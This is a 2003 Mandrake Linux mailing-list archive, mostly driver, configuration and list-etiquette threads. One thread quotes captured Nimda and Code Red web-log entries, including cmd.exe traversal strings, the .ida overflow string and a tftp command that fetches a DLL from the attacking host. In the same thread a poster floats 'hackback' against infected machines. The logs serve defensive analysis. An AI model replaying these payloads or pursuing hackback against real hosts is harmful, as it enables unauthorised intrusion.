  400 305
  1100] GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 400
  305 1100] GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
  HTTP/1.0 404 322
  1100] GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404
  322 1100] GET /scripts/root.exe?/c+dir HTTP/1.0 404 300
  1100] GET /MSADC/root.exe?/c+dir HTTP/1.0 404 298
 
 
 
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Ummm, actually you are not protecting the guilty, but rather innocent victims 
of code red, nimda and gross negligence in not updating their systems.

Pierre Fortin has some dandy answers, concerned with automnated email to 
sysadmins followed by action to keep them from bothering you or others.  I 
think you will find them at his site.

http://pfortin.com/Linux/

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Re: [expert] 9.1 comming?

2003-03-14 Thread Vincent Danen
On Fri Mar 14, 2003 at 08:32:05PM +0100, Francisco Alcaraz Ariza wrote:

[...]
 (^_^) Happy for Mandrake 9.1, :-( sad because it seems that 
 sooner millions of irakies will probably be fighted by the 
 war.
 
 Bad times for the freedom are coming, aren't they?

Good grief.  Are you *trying* to provoke people?  Why this was added at the
end I don't know, other than the fact that you want to be a sh*t disturber.

Please refrain from these comments.  They really have no place here and I'm
disappointed to see that people who are supposed to be intelligent enough to
be deemed experts feel the need to continue with this.

Yes, it's not nice, yes people will die, yes we all have our opinions, no
you likely won't change someone else's opinion, bla bla bla.

Please, stop!  Instead of promoting Mandrake and this particular community,
you're hurting it.  People will leave the lists over continued nuances and
blatant badgering over this extremely off-topic thread.  If you feel the
need to discuss it, please do so on an off-topic list or subscribe to some
political, anti-war, or tree-hugger's mailing list.  I'm sure they exist.

I am, personally, about half an inch from unsubscribing from this list as
well, although it pains me to do so as some people have questions regarding
security and updates that I like to help with.  But I simply can't stand the
amount of off-topic garbage coming through the Mandrake lists these days...
it's already caused me to unsubscribe from cooker.  I'm sure I'm not the
only who feels their time is more valuable than wading through this crud
just to get to the good stuff... no, wait, not even the good stuff... the
*relevant* stuff.

Please be considerate of the others on this list.  I understand you want to
get your point across.  If you feel so strongly, put up a web page with
your thoughts and provide the URL in your sig.  Please stop polluting the
list.

Unfortunately, I likely will not be permitted to start hacking through the
members list and removing everyone who posts OT... =(  Which means that the
responsibility lies on every list member's shoulders to a) not start these
threads and b) not feed them.

My apologies to everyone for even responding to this in the first place.
I considered it for a full 5 minutes before doing so, and even somewhat
regret doing it anyways, but with the amount of off-topic stuff going to the
lists these days, I felt I had to say something to encourage folks to be a
little more respectful of the other subscribers.

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Re: [expert] Suggestion to eliminate off topic postings

2003-03-14 Thread Vincent Danen
On Fri Mar 14, 2003 at 11:43:43AM -0800, Todd Lyons wrote:

  Zero tolerance.  I'd like to see that done on all Mandrake lists.  The
  amount of time some of us spend wading through this junk boggles me.
 
 In effect right now.  I read what's been posted to the list through the
 night, after that, they're gone.

Good stuff.

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Re: [expert] A7N8X and Radeon 9700 Pro under ML 9.1?!?

2003-03-14 Thread civileme
On Thursday 13 March 2003 11:39 pm, [EMAIL PROTECTED] wrote:


 A few questions tho... XFree86 4.3.0 is supposed to support the Radeon
 9700 (to what extent... I couldn't find any info on their site). I
 think the agpgart might be the prob. I am wondering if the agpgart
 module supports at least the nforce (not the nforce2) chipset. If I am
 not mistaken it doesn't though it has been on the market for quite a
 while now. That is probably due to the lack of support from nvidia. I
 am thinking of helping reverse engineering the AGP part of the board so
 we could have support also for nforce2, but I dunno how to do that. I
 am a programmer myself but never went that deep in linux stuff. I would
 need all the help I can get on this matter.

You are correct, it is the 3D stuff that is not well upported.   I understand 
ATi is trying to do some drivers, but that seems a recent effort and they 
will need to understand the software engineering process for linux well 
enough to accomplish it, which may take a few failed efforts.

 Second question would be: Is there any chance to tell XFree
86 not to do
 those strict tests anymore? The system on which the problem is, is my
 play station so I am not that sad if linux gets trashed in the
 process (I can always reinstall and start all over again).
OK yes there is a way.  One method is examining DrakX/XFdrake code to find the 
differences between that and the standard XFree Server...  A somewhat simpler 
solution that might have the same effect is examining the XF86Config-4 file 
in /etc/X11/ and removing all unwanted modes/screens since it may be one of 
those that is causing the problem.

 Any chance of finding usefull stuff in implementing the agpgart for
 this board from the NVIDIA_kernel sources which builds the NVAGP? I've
 seen they provide a tarball and sorce rpm for unsupported linux
 versions, and their NVAGP is supposed to work with the nforce2...


Ummm, the tarball and source rpm have huge binareis embedded within.  The 
purpose of the source is to provide a wrapper for compiling as a kernel 
module, else they would be building binaries for EVERY new kernel issued.

 Best regards,
 Adrian

Good luck,

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[expert] Setting up Embperl

2003-03-14 Thread Daniel Axtell
I'm trying get beyond Perl and CGI to do more sophisticated templating.  
Before I take the plunge into PHP, I thought I'd check out some of the 
Perl-based templating system, like HTML::Mason and Embperl.  That latter 
looks particularly promising, if I could get it to work.

I'm running LM 9.0, with Apache 1.3.26, mod_perl 1.3.26_1.27, and Embperl 
1.3.26_1.3.4 installed.  Mod_perl seems to work when I put Perl scripts in 
the /perl/ directory instead of cgi-bin.  I have http.conf with the 
following:

IfModule mod_perl.c
PerlModule HTML::Embperl
SetEnv EMBPERL_DEBUG 2285
Files *.epl
   SetHandler perl-script
   PerlHandler HTML::Embperl
   Options ExecCGI
/Files
#AddType text/html .epl
/IfModule

I have a hello world .epl file in my document root.  Right now it just comes 
up as the source code of the file.  This occurs whether or not I comment out 
the AddType text/html .epl  I've tried building Embperl from source but it 
won't compile.  Is it broken or is it just some configuration trick?

Thanks,

Dan

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Re: [expert] 9.1 comming?

2003-03-14 Thread Charles A Edwards
On Fri, 14 Mar 2003 13:45:07 -0700
Vincent Danen [EMAIL PROTECTED] wrote:

 I am, personally, about half an inch from unsubscribing from this list
 as well, although it pains me to do so as some people have questions
 regarding security and updates that I like to help with.  But I simply
 can't stand the amount of off-topic garbage coming through the
 Mandrake lists these days...

Vincent
I do no know if mutt has any similar option but with sylpheed-claws
I can set a thread as 'ignore' and set a processing rule that all
'ignore thread' messages be deleted.

In this manner I do not have to worry with being accosted by some of the
crap that gets posted to the list since I never see them.


Charles

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Re: [expert] A7N8X and Radeon 9700 Pro under ML 9.1?!?

2003-03-14 Thread John Haywood
On Fri, 14 Mar 2003 07:39 pm, [EMAIL PROTECTED] wrote:
   Funny stuff which I don't really understand is that in
 
  installer I could
 
   select my radeon, and XFree86 4.3.0 with hardware
 
  acceleration with no prob
 
   and the test would show the X screen in my chosen
 
  resolution and colors,
 
   but after reboot X doesn't start anymore with the
 
  classical error that no
 
   screens were found.
  
   Is anything different in the X screen showed during the
 
  config test in
 
   installer and the way X starts normally?!?
   I would expect that if my hardware combination isn't
 
  supported, then also
 
   the test inside the configuration part of the installer
 
  would choke too...
 
   :/
  
   Best regards,
   Adrian
   - Original Message -
   From: civileme [EMAIL PROTECTED]
   To: [EMAIL PROTECTED]
   Sent: Wednesday, March 12, 2003 8:25 PM
   Subject: Re: [expert] A7N8X and Radeon 9700 Pro under
 
  ML 9.1?!?
 
On Wednesday 12 March 2003 09:21 am, Adrian
 
  Golumbovici wrote:
 Hi mates,

 I managed to solve my crash problem with the A7V8X
 
  and 1GB of mem by
 
 changing it against a A7N8X :). Easiest sollution
 
  ever (but expensive
 
   tho
  
 :) ). Anyway, my problem now is that I am sick of
 
  running my Radeon as
 
 : Vesa.

 Till now agpgart doesn't want to load on this board
 
  (nforce2 chipset)
 
   even
  
 with agp_try_unsupported=1 and nvidia provides no
 
  driver for its agp
 
   beside
  
 the nvagp module in the drivers for their graphics
 
  cards. Since I have
 
   an
  
 ATI card I am not sure how to make it work in a
 
  better mode than vesa
 
 on
  
   my
  
 mainboard. I read a lot of things on the net and I
 
  can shorten the long
 
 story to the following:

 1. Some suggesting to try to install the NVIDIA rpm
 
  and then use the
 
   nvagp
  
 module with the ATI card. No answer from the
 
  original poster if it
 
   worked.
  
 :/

 2. The current kernel agpgart module lacks the
 
  description for this
 
 card and though some people offered to write the
 
  driver provided
 
 someone can help with collecting the needed info,
 
  the post was left in
 
 the air, so
  
   no
  
 news there...
 3. Some reported they managed to run their Radeon
 
  9700 Pro as pci and
 
   not
  
 AGP on this type of motherboard, but also no
 
  details provided upon
 
 how
  
   to
  
 do that?!? PCI is a lot better than vesa anyway,
 
  but have no clue how
 
 to
  
   do
  
 that. They said they got 320fps in glxgears.
 4. Some said that AGP is needed just to do some
 
  texture loading(?!?
 
 whatever that is), but if the card has enough
 
  memory on the card
 
 (radeon 9700 Pro comes with 128MB) you don't
 
  absolutely need it and
 
 that you can run it as PCI (again?!? but again no
 
  clue how?!?) and
 
 works just fine
  
   (just
  
 a tad slower than if ran in AGP on other
 
  motherboards where agpgart
 
   support
  
 exists.

 I am as clueless as a baby in a topless bar :)
 
  about how to get the
 
 best out of my card under linux. I really want to
 
  try some gaming under
 
   linux,
  
 but with vesa mode and Mesagl I can go smoke a
 
  cigar till next frame
 
   comes
  
 on the screen Please help.

 Best regards,
 Adrian
   
Well the truth is that the ATi boards are very poorly
 
  supported in linux,
 
largely because tech info is so hard to get out of
 
  ATi, so drivers
 
usually run a few generations behind the current ATi
 
  board models.
 
Recently ATi
  
   has
  
shown some interest in providing drivers ...  If they
 
  would open the
 
   source,
  
things would be much easier for all concerned.
   
Civileme


Righty ho, time to post 

I've come late to the thread, but not the issue - I posted not so long ago 
about using the Radeon 9000 board under MDK.

Here's what partially works for me:

1.Backup your current /etc/X11/XF86-Config 4 to .org
2. Download the ATI Linux drivers
3. Install them, using --force if necessary, as per their instructions (AFAICT 
this is needed to overwrite the existing libGLcore stuff)
4. Run their version of XFConfig (all as per instructions) to generate an 
initial config file - don't start X Windows yet!!!
5. Munge the .org file with the new file - things like font paths, mice, 
monitors etc. In fact, I ended up just using the graphics section, and 
matching the screen identifier:

 **

# Any number of graphics device sections may be present

# Standard VGA Device:

Section Device
Identifier  Standard VGA
VendorName  Unknown
BoardName   Unknown

# The chipset line is optional in most cases.  It can be used to override
# the driver's chipset detection, and should not normally be specified.

#Chipset 

[expert] ATI Radeon 8500 DVI + mdk9.0

2003-03-14 Thread Bryan Whitehead
Will Mandrake 9.0 work out of the box with this card?

or do I need todo some extra hacking?

I only need 2D. No hardware 3D needed.

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Re: [expert] A7N8X and Radeon 9700 Pro under ML 9.1?!?

2003-03-14 Thread Adrian Golumbovici
 Righty ho, time to post 

 I've come late to the thread, but not the issue - I posted not so long ago
 about using the Radeon 9000 board under MDK.

 Here's what partially works for me:

 1.Backup your current /etc/X11/XF86-Config 4 to .org
 2. Download the ATI Linux drivers
 3. Install them, using --force if necessary, as per their instructions
(AFAICT
 this is needed to overwrite the existing libGLcore stuff)
 4. Run their version of XFConfig (all as per instructions) to generate an
 initial config file - don't start X Windows yet!!!
 5. Munge the .org file with the new file - things like font paths, mice,
 monitors etc. In fact, I ended up just using the graphics section, and
 matching the screen identifier:

  **

 # Any number of graphics device sections may be present

 # Standard VGA Device:

 Section Device
 Identifier  Standard VGA
 VendorName  Unknown
 BoardName   Unknown

 # The chipset line is optional in most cases.  It can be used to override
 # the driver's chipset detection, and should not normally be specified.

 #Chipset generic

 # The Driver line must be present.  When using run-time loadable driver
 # modules, this line instructs the server to load the specified driver
 # module.  Even when not using loadable driver modules, this line
 # indicates which driver should interpret the information in this section.

 Driver  vga
 # The BusID line is used to specify which of possibly multiple devices
 # this section is intended for.  When this line isn't present, a device
 # section can only match up with the primary video device.  For PCI
 # devices a line like the following could be used.  This line should not
 # normally be included unless there is more than one video device
 # installed.

 #BusID   PCI:0:10:0

 #VideoRam256

 #Clocks  25.2 28.3

 EndSection

 # === ATI device section ===

 Section Device
 Identifier  ATI Graphics Adapter
 Driver  fglrx
 # === disable PnP Monitor  ===
 #Option  NoDDC
 # === disable/enable XAA/DRI ===
 Option no_accel   no
 Option no_dri no
 # === Fire GL DDX driver module specific settings ===
 # === Screen Management ===
 Option DesktopSetup   0x
 Option Display2   0
 Option HSync2 unspecified
 Option VRefresh2  unspecified
 Option GammaCorrectionI   0x
 Option GammaCorrectionII  0x
 # === OpenGL specific profiles/settings ===
 Option Capabilities   0x
 # === Video Overlay for the Xv extension ===
 Option VideoOverlay   on
 # === OpenGL Overlay ===
 # Note: When OpenGL Overlay is enabled, Video Overlay
 #   will be disabled automatically
 Option OpenGLOverlay  on
 BusID PCI:1:0:0# vendor=1002, device=496e
 Screen 0
 EndSection
 

 4. Note that I had to change the BusID above to PCI 1:0:0, as it
originally
 configured the Digital port (1:0:1, AFAIR) - resulting in no video

 5. GLX gears is now at 1800-2000fps!!!

 6. I have one remaining issue - on logout from X, the console is messed
up - I
 can just make out multiple repeated columns of the prompt, wishy-washied
all
 down the screen, like TV snow. Same when I switch to another vt.

 Maybe Civileme or odd can help out here  (Hint...)

 Anyway, good luck. Let me know if you need any more help

 Not sure about your nVIDIA stuff, though ...

Thx for the info. Can you give me some more info on the following points
please:

1. The problem is that the module from ATI doesn't load if agpgart is not
loaded, or am I mistaken and there was some other strange reason for my X
server failing?!?
2. Do you have the agpgart loaded?
3. Does your system have a nforce2 chipset?

Best regards,
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Re: [expert] A7N8X and Radeon 9700 Pro under ML 9.1?!?

2003-03-14 Thread Adrian Golumbovici

 I've come late to the thread, but not the issue - I posted not so long ago
 about using the Radeon 9000 board under MDK.

 Here's what partially works for me:
 ... SNIP ...

Almost forgot. Did you manage to install the drivers with the XFree86 4.3.0?
It seems to refuse to load the module with the current version of XFree86
which comes with ML 9.1. Any way to trick the ATI module to load despite the
newer version of XFree86? It was at least trying to load with 4.2.99 and I
can't imagine that so much has changed between 4.2.99 and 4.3.0 that it is
no longer compatible...

Best regards,
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Re: [expert] KDE very slow in mdk9.1

2003-03-14 Thread James Sparenberg
On Thu, 2003-03-13 at 15:14, et wrote:
 On Thursday 13 March 2003 05:54 pm, JOHAM,DAVID (HP-Boise,ex1) wrote:
  This might be the DHCP problem that was talked about today at some length.
  Is it 9.1 RC2? If so, you'll want to wait for 9.1 final or update the DHCP
  packages from cooker. I'm not sure which ones, but a reading of the
  archives will get you where you need to be. Look for HOSTNAME in your
  search.
 
  David
 
  -Original Message-
  From: Gary Hodder [mailto:[EMAIL PROTECTED]
  Sent: Wednesday, March 12, 2003 7:20 PM
  To: [EMAIL PROTECTED]
  Subject: [expert] KDE very slow in mdk9.1
 
 
  Hi all,
 
  my son's just loaded mdk 9.1 on his machine and finds kde runs very slow,
  much
  slower than 9.0. The machine is a celeron 400 with 96mb ram.
  I wont find out more till I get home. Are there any ideas that he could try
  in
  the mean time?
 
  Thanks
  Gary.


OK Due to circumstances beyond my desire... I managed to duplicate
this last night... (for reasons beyond me all my comps are dying the
death of a thousand bytes in rapid succession)   The problem was lo not
starting correctly... the solution... either 

a) restart network by hand after boot and make sure lo comes up. (I'm on
pcmcia btw so ntwork doesn't start at boot because it happens before
pcmcia gets loaded... don't ask I'm told this is correct.)


b) install a printer... seems that cups brings up lo correctly

James



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Re: [expert] 9.1 comming?

2003-03-14 Thread tarvid
Vincent - Francisco - we love you both.

At all times, but expecially times like this, the kindest thing we can do for 
our friends is cut them a little slack.

There are bugs, there will always be bugs, I've been using cooker in 
production for over a month now and it has been a source of joy.

A concise errata with a few workarounds would be welcome.

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Re: [expert] ATI Radeon 8500 DVI + mdk9.0

2003-03-14 Thread Peter Watson
On Friday 14 Mar 2003 22:41, Bryan Whitehead wrote:
 Will Mandrake 9.0 work out of the box with this card?

 or do I need todo some extra hacking?

 I only need 2D. No hardware 3D needed.

I've got a Hercules Radeon 8500LE and it worked perfectly using DVI to my 
LG Flatron. I never play game so I have not experimented with 3D

HTH
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Re: [expert] ATI Radeon 8500 DVI + mdk9.0

2003-03-14 Thread Todd Lyons
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Bryan Whitehead wrote on Fri, Mar 14, 2003 at 02:41:18PM -0800 :
 Will Mandrake 9.0 work out of the box with this card?
 or do I need todo some extra hacking?
 I only need 2D. No hardware 3D needed.

2D should be supported in 9.1 (I'll assume that was a typo).  Did the
RC's work on this card or have you not had a chance to test it?  If you
wanna swing by the office, I can burn you a set of CD's for RC2 (but
Final should be out very soon, so it's worth waiting to test those
download CD's IMHO).

Blue skies...   Todd
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Re: [expert] ATI Radeon 8500 DVI + mdk9.0

2003-03-14 Thread civileme
On Friday 14 March 2003 01:41 pm, Bryan Whitehead wrote:
 Will Mandrake 9.0 work out of the box with this card?

 or do I need todo some extra hacking?

 I only need 2D. No hardware 3D needed.

For 2D you should(tm) be OK, but you should also realize that you are less 
than five miles from the American headquarters office for Mandrakesoft and 
you could probably ask them directly.  (They're in Altadena).

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Re: [expert] Suggestion to eliminate off topic postings

2003-03-14 Thread Greg Meyer
On Friday 14 March 2003 02:43 pm, Todd Lyons wrote:
 Vincent Danen wrote on Fri, Mar 14, 2003 at 12:03:35AM -0700 :
  Zero tolerance.  I'd like to see that done on all Mandrake lists.  The
  amount of time some of us spend wading through this junk boggles me.

 In effect right now.  I read what's been posted to the list through the
 night, after that, they're gone.

 Blue skies... Todd


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Re: [expert] KDE very slow in mdk9.1

2003-03-14 Thread Gary Hodder
Thanks to all who replied.
It seems logical that it would sit there forever trying to do a lookup on a
unknown lo interface.
My sons away for the weekend and don't know his root passwd so wont know the
outcome till sunday night.
I'm looking forward to the results before upgrading my box.

Thanks all,
Gary.
ps disregard any old mail of mine that might come through late as i've just
moved my mail lists to my home domain in the last couple of days.
There was no reverse lookup on my ip so mail was rejected.
My isp has now happily pointed it at my domain, thanks Igreen.

On 14 Mar 2003 15:05:31 -0800, you wrote:

OK Due to circumstances beyond my desire... I managed to duplicate
this last night... (for reasons beyond me all my comps are dying the
death of a thousand bytes in rapid succession)   The problem was lo not
starting correctly... the solution... either 

a) restart network by hand after boot and make sure lo comes up. (I'm on
pcmcia btw so ntwork doesn't start at boot because it happens before
pcmcia gets loaded... don't ask I'm told this is correct.)


b) install a printer... seems that cups brings up lo correctly

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Re: [expert] MS crud

2003-03-14 Thread Pierre Fortin
On Fri, 14 Mar 2003 11:40:25 -0900 civileme [EMAIL PROTECTED]
wrote:

 Pierre Fortin has some dandy answers, concerned with automnated email to
 
 sysadmins followed by action to keep them from bothering you or others. 
 I think you will find them at his site.
 
 http://pfortin.com/Linux/
 
 Civileme

Actually...   the countermeasures were only partially successful...  those
times where I've been able to inject an e-mail into the attacking system,
I suspect they were never read...  OK...  I did get ONE reply to which I
responded; but nothing back...  

I've been down with the flu for a couple of days, so been using the time
to address some issues (postfix anti-spam  Nimda/CodeRed crud)...  For
a while, my daily reports showed no activity on Nimda/CodeRed scene; then
on March 10th, the flood gates started opening again...

On the _passive_ side, I have some ideas for short-circuiting Nimda
attacks with iptables.  

On the _active_ (aka hackback), if anyone has time and a Windows(YUCK!)
system available for trying out stuff, contact me offline...  M$ and their
cronies have not been able to put a stop to the proliferation of these
infections, so I'm game to give it a try if someone wants to help...  The
purpose of a Windows machine is to be the attacker/spankee...  actual
virus/worm optional...  :^)

Pierre

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Re: [expert] Multi-profile Linux

2003-03-14 Thread Pierre Fortin
On 12 Mar 2003 16:48:46 -0800 James Sparenberg [EMAIL PROTECTED]
wrote:

 OK,
 
I've fought with it till I'm blue in the face and it seems I finally
 have tricked my hardware into allowing me to use a wireless nic.  Now
 I've got to find out how to do something simple enough in theory... move
 around.  IE I've got wireless at the office wireless at home and
 wireless at Borders (or Starbucks or McD's)  So ... each has it's own
 config/wep key... and no matter what I do it seems that 9.x is
 determined to overwrite one config with the other Danged if I can
 get multiple profiles working... Has any one got a tip... I'd love to
 suspend the box... go to work... use the box... suspend... go home
 use... just like windows people. so far... I can only 
 
 A.  Use a wired NIC everywhere but home
 B.  Reconfigure (a 20 minute nightmare) every time I move.
 C.  Cry insanely in my beer..
 
 How have any of you solved this?  
 
 James

Here's a quick script I hacked a while back...  it's very specific to my
travelling; but could serve as a guide...

Essentially, I got the networking working correctly at each location and
copied each set of working files like this:
/etc/resolv.conf -- /usr/local/network/resolv.conf.{NC,SC,dial}
/etc/sysconfig/network --
/usr/local/network/sysconfig/network.{NC,SC,dial}

Then, when I travel to another location, I simply fire up the laptop and
as root, issue:

# chnet NC(DSL connected LAN)
# chnet SC(LAN to modem-sharing desktop) 
# chnet dial  (direct dial)

and I'm up and running  Since I'll be travelling more soon, I plan to
rework this to allow multi-location dial access using my ISP's list of
dialups... 

Aside:  if anyone has been able to compile kaptain
(http://kaptain.sourceforge.net) on ML9.0, I'd be interested in how to
solve the Qt dependancies...

HTH,
Pierre


file:/usr/local/bin/chnet: 
#!/bin/bash

NETSRC=/usr/local/network
RESOLV=resolv.conf
NETWORK=sysconfig/network
case $1 in
eth*|LAN|NC)
cp -a ${NETSRC}/${RESOLV}.NC /etc/${RESOLV}
cp -a ${NETSRC}/${NETWORK}.NC /etc/${NETWORK}
service network restart
;;
SC)
cp -a ${NETSRC}/${RESOLV}.SC /etc/${RESOLV}
cp -a ${NETSRC}/${NETWORK}.SC /etc/${NETWORK}
service network restart
;;
dial*|mod*)
rm -f /dev/modem
modprobe lt_modem
ln -s /dev/tts/LT0 /dev/modem
cp -a ${NETSRC}/${RESOLV}.dial /etc/${RESOLV}
cp -a ${NETSRC}/${NETWORK}.dial /etc/${NETWORK}
route del default
;;
)
echo EOF
Usage:
$0 location
EOF
;;
esac

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Re: [expert] 9.1 comming?

2003-03-14 Thread Vincent Danen
On Fri Mar 14, 2003 at 06:14:27PM -0500, tarvid wrote:

 Vincent - Francisco - we love you both.
 
 At all times, but expecially times like this, the kindest thing we can do for 
 our friends is cut them a little slack.

I don't think there should be slack for consistent OT posters.  I don't
really care what times we're in.

 There are bugs, there will always be bugs, I've been using cooker in 
 production for over a month now and it has been a source of joy.

=)  I don't use it in production, but I do run it on my primary workstation.
It's been pretty stable (actually, I'm quite baffled by the number of bug
reports just because it has been working so well here).

 A concise errata with a few workarounds would be welcome.

No errata till the product is released.  Unless you have something you know
for sure won't be addressed in the final release to add?

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Re: [expert] MS crud

2003-03-14 Thread Dave Laird
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Good evening, Pierre...

On Friday 14 March 2003 04:27 pm, Pierre Fortin wrote:

 On the _passive_ side, I have some ideas for short-circuiting Nimda
 attacks with iptables.

[Dave sits upright in his chair from sleeping through the flame wars and
wriggles with impatience] Are you referring to a thing I read a few weeks
back about using strings in iptables to deflect Code Red? I've started a
time or two to explore this in more detail, but if you have an idea that
either does/does not follow that platform, I'm *ALL* ears. At least in
principle the strings idea should work. 

Dave
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Re: [expert] 9.1 comming?

2003-03-14 Thread Vincent Danen
On Fri Mar 14, 2003 at 04:27:38PM -0500, Charles A Edwards wrote:

  I am, personally, about half an inch from unsubscribing from this list
  as well, although it pains me to do so as some people have questions
  regarding security and updates that I like to help with.  But I simply
  can't stand the amount of off-topic garbage coming through the
  Mandrake lists these days...
 
 Vincent
 I do no know if mutt has any similar option but with sylpheed-claws
 I can set a thread as 'ignore' and set a processing rule that all
 'ignore thread' messages be deleted.
 
 In this manner I do not have to worry with being accosted by some of the
 crap that gets posted to the list since I never see them.

There likely is, but I don't know it.  I'm probably using 20% of mutt's full
potential.  I can delete an entire thread, but it keeps coming back the next
time I'm in the mail box.  I don't think mutt remembers this kind of
thing, although I could be wrong.

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Re: [expert] 9.1 comming?

2003-03-14 Thread Pierre Fortin
On Fri, 14 Mar 2003 17:49:53 -0700 Vincent Danen [EMAIL PROTECTED]
wrote:

  Unless you have something you know
 for sure won't be addressed in the final release to add?

I do...

I'm running 9.0 on only one system -- all the rest are still at 8.2
BUT...  the question I have is very simple:

  Does Mdk even try just *starting* the applications included in a
release?

I'm still quite miffed at 9.0 for a number of reasons; however, last
night, I asked another list member if ohphone just *started* in 9.1rc2... 


  NOPE!  pwlib problem

I was one of the first to donate before the Club, and was Silver until
I let it expire recently; but I won't renew until I can use the tools
available in a release to help others *without* incurring expenses that
could be avoided by providing a working ohphone (requires pwlib and
openh323) *AND* can use that release in all my systems (currently at 8.2
cuz 9.0 has been totally untrustworthy IME).

This is *NOT* new...  search the archives.

All I've been asking is that Mdk help** _us_ help Mdk grow _their_
business...

** or at least, not place/perpetuate roadblocks in our way...  no, rebuild
per box is not a scalable answer...


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Re: automatic upgrades via install + drakautoinst WAS: [expert]

2003-03-14 Thread Vox

This time Todd Lyons [EMAIL PROTECTED] 
becomes daring and writes:

 Vox wrote on Wed, Mar 12, 2003 at 05:24:53PM -0600 :
 
  1.2.1 on my Mandrake 9.0 box (compiled by Mandrake developers).  One
  thing is that the upgrade to the version of urpmi/gurpmi in there was
  bad.  urpmi still worked, but it /dev/null'ed all stdout so you couldn't
  tell what it was doiong.
   Uhm...I don't parse this...could you rephrase it, please?

 Normally you see:

 All I saw with that new version was:

  Uhm...ok, I see that...I don't like it either...somebody needs to be
  shot.

  Vox

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Re: [expert] 9.1 comming?

2003-03-14 Thread James Sparenberg
On Fri, 2003-03-14 at 16:49, Vincent Danen wrote:
 On Fri Mar 14, 2003 at 06:14:27PM -0500, tarvid wrote:
 
  Vincent - Francisco - we love you both.
  
  At all times, but expecially times like this, the kindest thing we can do for 
  our friends is cut them a little slack.
 
 I don't think there should be slack for consistent OT posters.  I don't
 really care what times we're in.
 
  There are bugs, there will always be bugs, I've been using cooker in 
  production for over a month now and it has been a source of joy.
 
 =)  I don't use it in production, but I do run it on my primary workstation.
 It's been pretty stable (actually, I'm quite baffled by the number of bug
 reports just because it has been working so well here)

Lucky you! but I've been noticing some very real trends. 
Specifically, ATI video cards (especially the mobility) Users that don't
have a full network and the fight against zeroconf and dhcp-client
(seems to have gotten pretty well solved) and anyone on a laptop
especially Compaq's .. 2 out of 3 are byting me in the buns.  Update
comes I start to get my wireless working.. new update... it goes
south... I'm almost of the opinion that a Mandrake for Laptops would be
well received.  And yes if you haven't guessed I've lost wireless
again.  Just which I could get the same error from boot to boot.  or
even more important find out why it does work on those occasions when it
does.  Havent' had it working since 8.0... *sigh*.. Oh well keep
plugging... keep googling...

James

 .
 
  A concise errata with a few workarounds would be welcome.
 
 No errata till the product is released.  Unless you have something you know
 for sure won't be addressed in the final release to add?


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Re: [expert] MS crud

2003-03-14 Thread Pierre Fortin
On Fri, 14 Mar 2003 16:50:15 -0800 Dave Laird [EMAIL PROTECTED] wrote:

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 Good evening, Pierre...
 
 On Friday 14 March 2003 04:27 pm, Pierre Fortin wrote:
 
  On the _passive_ side, I have some ideas for short-circuiting Nimda
  attacks with iptables.
 
 [Dave sits upright in his chair from sleeping through the flame wars and
 wriggles with impatience] Are you referring to a thing I read a few
 weeks back about using strings in iptables to deflect Code Red? I've
 started a time or two to explore this in more detail, but if you have an
 idea that either does/does not follow that platform, I'm *ALL* ears. At
 least in principle the strings idea should work. 
 
 Dave

Got a pointer to the strings' stuff...?  I'm running 8.2 on my main
server (9.0 issues)...

The way I see it is this:

CodeRed is a single whack at my box from any IP address... I forget which
is V1 and V2; but I got 22 of these yesterday:
64.53.28.118 - - [13/Mar/2003:00:07:35 -0500] GET
/default.ida?
X
X
XX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%
u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u
%u00=a  HTTP/1.0 200 538 - -

and only this one:
24.102.21.122 - - [13/Mar/2003:19:42:36 -0500] GET
/default.ida?
N
N
NN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%
u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u
%u00=a  HTTP/1.0 400 347 - -

Nimda looks like this:
64.53.219.105 - - [13/Mar/2003:20:25:22 -0500] GET /scripts/httpodbc.dll
HTTP/1.0 404 - - -
64.53.219.105 - - [13/Mar/2003:20:25:23 -0500] GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 - - -
64.53.219.105 - - [13/Mar/2003:20:25:24 -0500] GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 - - -
64.53.219.105 - - [13/Mar/2003:20:25:24 -0500] GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 326 -
-
64.53.219.105 - - [13/Mar/2003:20:25:24 -0500] GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 - - -
64.53.219.105 - - [13/Mar/2003:20:25:25 -0500] GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 - - -
64.53.219.105 - - [13/Mar/2003:20:25:25 -0500] GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 400 310 -
-
64.53.219.105 - - [13/Mar/2003:20:25:25 -0500] GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 400 310 - -
64.53.219.105 - - [13/Mar/2003:20:25:25 -0500] GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 - -
-
64.53.219.105 - - [13/Mar/2003:20:25:26 -0500] GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 - - -
64.53.219.105 - - [13/Mar/2003:20:30:23 -0500] GET
/scripts/root.exe?/c+dir HTTP/1.0 200 58 - -
64.53.219.105 - - [13/Mar/2003:20:30:23 -0500] GET
/scripts/root.exe?/c+tftp%20-i%2064.53.219.105%20GET%20cool.dll%20httpodb
c.dll HTTP/1.0 200 58 - -

or, the first time I've noticed, simply like this:
212.129.198.49 - - [13/Mar/2003:04:34:29 -0500] GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1 404 - -
-
212.129.198.49 - - [13/Mar/2003:04:34:30 -0500] GET
/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1 404 -
- -


So...  not much to be done about CodeRed, other than an _active_ response
to try and shutdown the offending process...  hopefully without harming
the attacker [too much]...

While Nimda may be similarly responded to, the alternative is to use a
